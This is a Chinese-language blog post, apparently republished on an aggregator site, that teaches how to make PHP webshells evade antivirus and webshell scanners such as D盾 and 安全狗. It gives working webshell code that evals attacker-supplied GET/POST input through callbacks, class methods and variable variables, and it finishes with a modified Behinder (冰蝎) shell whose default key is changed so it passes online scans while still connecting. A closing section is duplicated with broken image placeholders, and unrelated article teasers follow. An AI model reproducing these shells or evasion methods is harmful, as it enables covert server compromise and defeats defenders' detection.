webshell免杀之函数与变量玩法

news2024/9/23 19:28:05

webshell免杀之函数与变量玩法

前言

前文列举了一些用符号免杀的例子,此篇文章就以函数和变量来尝试下免杀。 本文以PHP为例,用PHP中函数和变量及语法特性,在不隐藏函数关键字情况下进行免杀。

动态函数

PHP中支持一个功能叫 variable function ,变量函数的意思。

例:$a=‘system’; $a(‘dir’); //最终是system(‘dir’);

当一个变量后边带括号,那他就被视作一个函数。编译器会解析出变量的值(假设值为符串system),然后会去找当前是否存在名为“system()”的函数并执行它。

注:eval 、echo、print 等看似是函数但并非函数,而是语言构造器(语言结构),不支持该用法

动态函数利用时就可以达到隐藏危险函数关键字特征的目的,我可以对函数关键字进行拆分,编码,然后拼接还原,再利用动态函数特性执行。

例:$_GET[‘func’]($_REQUEST[‘pass’]); //这就是动态函数webshell 

这里就不给实例了,很多免杀案例中都用到了这个特性。也是被疯狂查杀的特征。

回调函数

回调函数,简单来说就是一个函数不是由我直接调用,而是通过另一个函数去调用它。

这种方法很简单,php中回调函数有很多个,但大多已经被标记 经过测试找到一个目前还能免杀的:

<?php   
forward_static_call_array('assert',array($_GET['x']));   ?>  
​

D盾:1级forward_static_call_array 如果尝试对回调函数 进行字符特征隐藏,再用动态函数执行,反而提升2级

魔术方法

PHP中以两个下划线开头的函数,被称为魔术方法 是保留方法。

魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。

魔术方法中有两个函数: 构造函数:创建对象时会自动调用此方法,初始化操作。 析构函数:对象的引用被全部删除或销毁时执行。析构函数不能有参数

//__destruct() 析构函数 ;__construct() 构造函数  
<?php   
class me{  
public $a = '';  
function __destruct(){  
  eval("$this->a".' ');  
  }  
}  
$a=$_GET['xxx'];  
$b = new me;  
$b->a = $a;  
?>

D盾3级 可疑;安全狗 护卫神 免杀

上面用析构函数D盾会检测到,当尝试改特征时发现,不用析构函数就能够免杀。 果然,高端的免杀往往只需要最朴素的方式

<?php   
class mexx{  
public $a = '';  
function mexx(){  
  eval("$this->a".'; ');  
  }  
}  
$a=$_GET['xxx'];  
$b = new mexx;  
$b->a = $a;  
echo $b->mexx();  
?>

全过。

可变变量

PHP还支持一种语法:可变变量,可以把一个变量的值作为另一个变量的变量名。 例如: 变量a的值是‘c’; 变量c的值是‘ccc’,当使用两个 变量符号时
$ a 这就是一个可变变量 , 就不是 a 这就是一个可变变量,就不是 a这就是一个可变变量,就不是a 而是 c 。为什么会是 c。 为什么会是 c。为什么会是c ?

在编程中,代码执行时整体是从上到下,从左到右,但是赋值语句,则是从右到左。

测试来看可变变量是从右往左的

$a='c';  
$c='flag';  
echo $a;  //结果 c  
echo $$a;  //结果 flag  
// $$a  解析从右往左找到第一个变量符号 把$a解析,得到$c 

这里利用可变变量进行免杀

<?php   
$c=‘1’; //删掉此句 安全狗免杀;  
$a='c';  
$$a=$_POST[‘x’];  //$c  
assert($c); //d盾特征  
?>

变量c需要给一个值,不能空值,否侧d盾检测到变量未知内容,会报4级 D盾1级,其他免杀

这里有个想法,可变变量能支持多少层哪,只能变一次还是能多次。

$a='c';  
$c='flag';  
$flag='123';  
echo $$a;   //结果 flag  
echo $$$a;  //结果 123  
echo "$$a"; //结果 $c   
echo "{$$$a}"; //结果 123

最终发现可变变量是支持多层的,但在双引号中不支持可变变量,需要用花括号来包裹声明。

改造冰蝎

了解了前面的方法,那就尝试对冰蝎的脚本改造一下。

先来看冰蝎3.0的默认脚本,查杀一下
111.png

经过用D盾尝试,发现file_get_contents,openssl 等关键字都会被检测为木马,最终在不动eval关键字情况下,修改如下

<?php  
@error_reporting(0);  
session_start();  
​  
$key="e45e329feb5d925b";   
$_SESSION['k']=$key;  
session_write_close();  
$aaa='file_get_contents';  
$bbb='openssl';  
$post=$aaa("php://input");  
if(!extension_loaded($bbb))  
{  
$t="base64_"."decode";  
$post=$t($post."");  
  
for($i=0;$i<strlen($post);$i++) {  
               $post[$i] = $post[$i]^$key[$i+1&15]; }  
}  
else  
{ $post=openssl_decrypt($post, "AES128", $key); }  
  $arr=explode('|',$post);  
  $func=$arr[0];  
  $params=$arr[1];  
class mexx{  
public $a = '';  
function mexx(){  
      eval("$this->a".'');  
      }  
  }  
$b = new mexx();  
$b->a = $params;  
echo $b->mexx();  
?>

原本的类中是用了魔术方法将对象当函数执行,用回调函数去调用。 这里改为常规的方式调用,将被查杀file_get_contents关键字用改成变量函数调用

本地查杀:安全狗护卫神免杀,D盾(1级|可疑) 在线查杀效果
222.png

只有报了一个,我推断是检测到eval关键字才告警,遂换成echo函数试试是否免杀

结果还是被查杀,看来检测的特征不是在这里。

经过不断尝试,想到密钥 key的值是默认的e45e329feb5d925b,会不会是它。

把key改掉,如下

<?php  
@error_reporting(0);  
session_start();  
$key="47bce5c74f589f48";  //aaa  
$_SESSION['k']=$key;  
session_write_close();  
$aaa='file_get_contents';  
$bbb='openssl';  
$post=$aaa("php://input");  
if(!extension_loaded($bbb))  
{  
$t="base64_"."decode";  
$post=$t($post."");  
for($i=0;$i<strlen($post);$i++) {  
$post[$i] = $post[$i]^$key[$i+1&15]; }   
}else{ $post=openssl_decrypt($post, "AES128", $key); }  
$arr=explode('|',$post);  
$func=$arr[0];  
$params=$arr[1];  
class mexx{  
public $a = '';  
function mexx(){  
eval("$this->a".'');   
} }  
$b = new mexx();  
$b->a = $params;  
echo $b->mexx();  
?>

查杀结果
333.png

脚本正常连接
444.png

总结

从上述案例能看出来,想要免杀很简单,不需要花里胡哨的操作,只需要改变下结构或函数,不需要变形编码关键字也能实现免杀

$b->a = $params;
echo $b->mexx();
?>

查杀结果
[外链图片转存中…(img-X5Fmg7Yz-1676528059990)]

脚本正常连接
[外链图片转存中…(img-KDLqFrLK-1676528059990)]

总结

从上述案例能看出来,想要免杀很简单,不需要花里胡哨的操作,只需要改变下结构或函数,不需要变形编码关键字也能实现免杀

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/351215.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux】-- 什么是多线程

目录 如何理解线程 Linux中线程概念的建立 Linux特有的方案 重新理解进程 总结 pthread 线程库 介绍 创建简易线程 - 加深理解 使用 总结 线程的优点 线程的缺点 如何理解线程 线程在进程内部执行&#xff0c;是操作系统调用的基本单位。 #问&#xff1a;什么是线程…

EdgeChrome浏览器暗模式设置

作为程序媛&#xff0c;希望所有的页面都是暗黑模式&#xff0c;重度强迫症患者。 1.## Edge浏览器暗黑模式设置 第一步&#xff1a; 打开Edge浏览器&#xff0c;点击界面右上角的三点图标。 第二步&#xff1a; 点击“设置” 第三步&#xff1a;点击&#xff0c;左侧界面的“…

【C++】string类(简介,接口,oj 包学包会)

&#x1f345;之前学习过类和对象&#xff0c;明确了C是面向对象编程&#xff0c;那不得不提常见对象——字符串 目录 ☃️1.基本介绍 ☃️2.string中金典常见接口 &#x1f41d;2.1 reserve()和resize()&#xff08;capacity()和size()&#xff09; &#x1f41d;2.2 迭…

深入浅出带你学习无参RCE

前言 无参RCE,顾名思义就是当我们不能传入参数的情况下进行命令执行&#xff0c;因为一般情况下命令执行必须是要含有参数的&#xff0c;本文会就着无参RCE问题带大家学习CTF中常见的无参RCE方式及用法&#xff0c;下面我们展开文章来讲解一下。 基础知识 首先我们要了解&am…

Revit剖面操作:怎么做折线剖面和快速剖面

一、Revit中如何做折线剖面 在绘图过程中&#xff0c;有时候根据实际情况需要绘制折线剖面&#xff0c;这里就简单介绍一些折线剖面的绘制方法。 1、选择视图选项卡中“剖面”绘制剖面&#xff0c;如图1所示。 2、选中“剖面”&#xff0c;点击右上角“拆分线段”&#xff0c;如…

ctf-show-misc-游戏题

目录前言Misc22超级玛丽魂斗罗游戏flag 终结篇加油各位( •̀ ω •́ )y 期待与君再相逢前言首先感谢ctf平台和出题的大佬其次感谢各位读者&#xff0c;对我的支持( •̀ ω •́ )y 有什么问题和建议可以私聊我本次出了一个专题&#xff0c;就是游戏专题 把所以关于游戏杂项的…

如何提高自动化测试覆盖率

自动化测试一直是测试人员的核心技能&#xff0c;也是测试的重要手段之一。尤其是在今年所谓的互联网寒冬的行情下&#xff0c;各大企业对测试人员的技术水平要求的很高&#xff0c;而测试人员的技术水平主要集中在三大自动化测试领域&#xff0c;再加测试辅助脚本的编写&#…

关于 DataLeap 中的 Notebook,你想知道的都在这

更多技术交流、求职机会&#xff0c;欢迎关注字节跳动数据平台微信公众号&#xff0c;回复【1】进入官方交流群 DataLeap 是火山引擎数智平台 VeDI 旗下的大数据研发治理套件产品&#xff0c;帮助用户快速完成数据集成、开发、运维、治、资产、安全等全套数据中台建设&#xff…

java-spring_bean实例化

bean是如何创建的实例化bean的三种方式构造方法静态工厂&#xff08;了解&#xff09;实例工厂与FactoryBean实例工厂FactoryBeanbean是如何创建的实例化bean的三种方式 构造方法 bean本质上就是对象&#xff0c;创建bean使用构造方法完成 提供可访问的构造方法 public clas…

现实版“狂飙”上演,背后有哪些猫腻?

目录 披着电商外衣行洗黑钱之实 电商平台如何防范黑灰产作恶 最近热播的电视剧《狂飙》中有这样一个故事情节&#xff0c;刑满释放的唐小虎出狱之后&#xff0c;大哥高启强就大方的赠予唐小虎一家游戏厅。但其表面上是游戏厅&#xff0c;实际上背后却暗藏赌场。而在后来的剧情…

<<Java开发环境配置>>5-MySQL安装教程(绿色版)

一.MySQL绿色版安装: 1.直接解压下载的ZIP文件到对应的目录下(切记安装目录不要有中文); 如图:我的安装目录:D:Program Files 2.创建配置文件: 在MySQL安装目录下&#xff0c;创建一个my.ini配置文件&#xff0c;然后在里面添加以下内容&#xff08;别忘了MySQL安装目录要改成…

基于单片机的温度控制系统设计(32+WIFI+蓝牙版)-实物设计

编号&#xff1a;M22033-04M设计简介&#xff1a;基础功能&#xff1a;1、可以通过温度传感器检测温湿度2、可以通过按键设置温度阈值3、当温度超过阈值时&#xff0c;蜂鸣器报警扩展功能&#xff1a;1、通过蓝牙连接手机并通过手机实现监控2、通过WiFi连接手机并通过手机实现监…

程序员一般通过什么途径接私活?

判断私活是否靠谱的通用标准&#xff1a; 1.钱款是否有担保&#xff0c;能做到“钱和代码两清” 2.项目是否真实&#xff0c;需求文档清晰&#xff0c;结款时间一目了然 3.项目来源是否可靠&#xff0c;渠道是否正规接私活的途径主要包括&#xff1a; 1.熟人/朋友介绍。这样的…

transformer总结

1.注意力机制 意义&#xff1a;人类的注意力机制极大提高了信息处理的效率和准确性。 公式&#xff1a; 1)自注意力机制 b都是在考虑了所有a的情况下生成的。 以产生b1向量为例&#xff1a; 1.在a这个序列中&#xff0c;找到与a1相关的其他向量 2.每个向量与a1关联的程度&a…

网络编程套接字(上篇)UDP实现简易多人聊天室

目录 背景知识 主机间通信本质 socket 端口号特点&#xff1a; 为什么不用进程pid&#xff1f; 网络字节序 socket编程接口API sockaddr结构 ​编辑 简单UDP网络程序 了解UDP协议 简易多人聊天室实现 服务端代码&#xff1a; 客户端代码&#xff1a; 背景知识 主…

MySQL第六章第四次作业

学生表&#xff1a;Student (Sno, Sname, Ssex , Sage, Sdept) 学号&#xff0c;姓名&#xff0c;性别&#xff0c;年龄&#xff0c;所在系 Sno为主键 课程表&#xff1a;Course (Cno, Cname,) 课程号&#xff0c;课程名 Cno为主键 学生选课表&#xff1a;SC (Sno, Cno, Score)…

java切换版本等注意事项

启动java工具&#xff0c;命令行为&#xff1a;java -jar xxx.jar 注意burpsuite&#xff0c;behinder需要jdk&#xff0c;如果是这个例子&#xff0c;jdk-11.0.12&#xff0c;shiro_attack_2.2需要jdk版本jdk1.8.0_291。 jdk版本切换方式&#xff1a; 编辑&#xff5e;目录…

教育舆情监测关键词有哪些,TOOM教育舆情监测系统流程?

教育舆情监测是指对教育领域的舆情进行收集、分析和处理的过程。舆情是指公众在各种渠道上对教育政策、教育机构、教育事件等方面的言论、态度和情绪。通过对教育舆情的监测和分析&#xff0c;可以了解公众对教育行业的看法和反应&#xff0c;提高对教育行业的管控能力&#xf…

MFC入门

1.什么是MFC?全称是Microsoft Foundation Class Library&#xff0c;我们称微软基础类库。它封装了windows应用程序的各种API以及相关机制的C类库MFC是一个大的类库MFC是一个应用程序框架MFC类库常用的头文件afx.h-----将各种MFC头文件包含在内afxwin.h-------包含了各种MFC窗…

AcWing语法基础课笔记 第六章 C++中的函数

第六章 C中的函数 函数让代码变得更加简洁。 ——闫学灿 目录 1.函数基础 1.1编写函数 1.2调用函数 1.3形参和实参 1.4函数的形参列表 1.5函数返回类型 1.6局部变量、全局变量与静态变量 2.参数传递 传值参数​编辑 2.2传引用参数 2.3数组形参…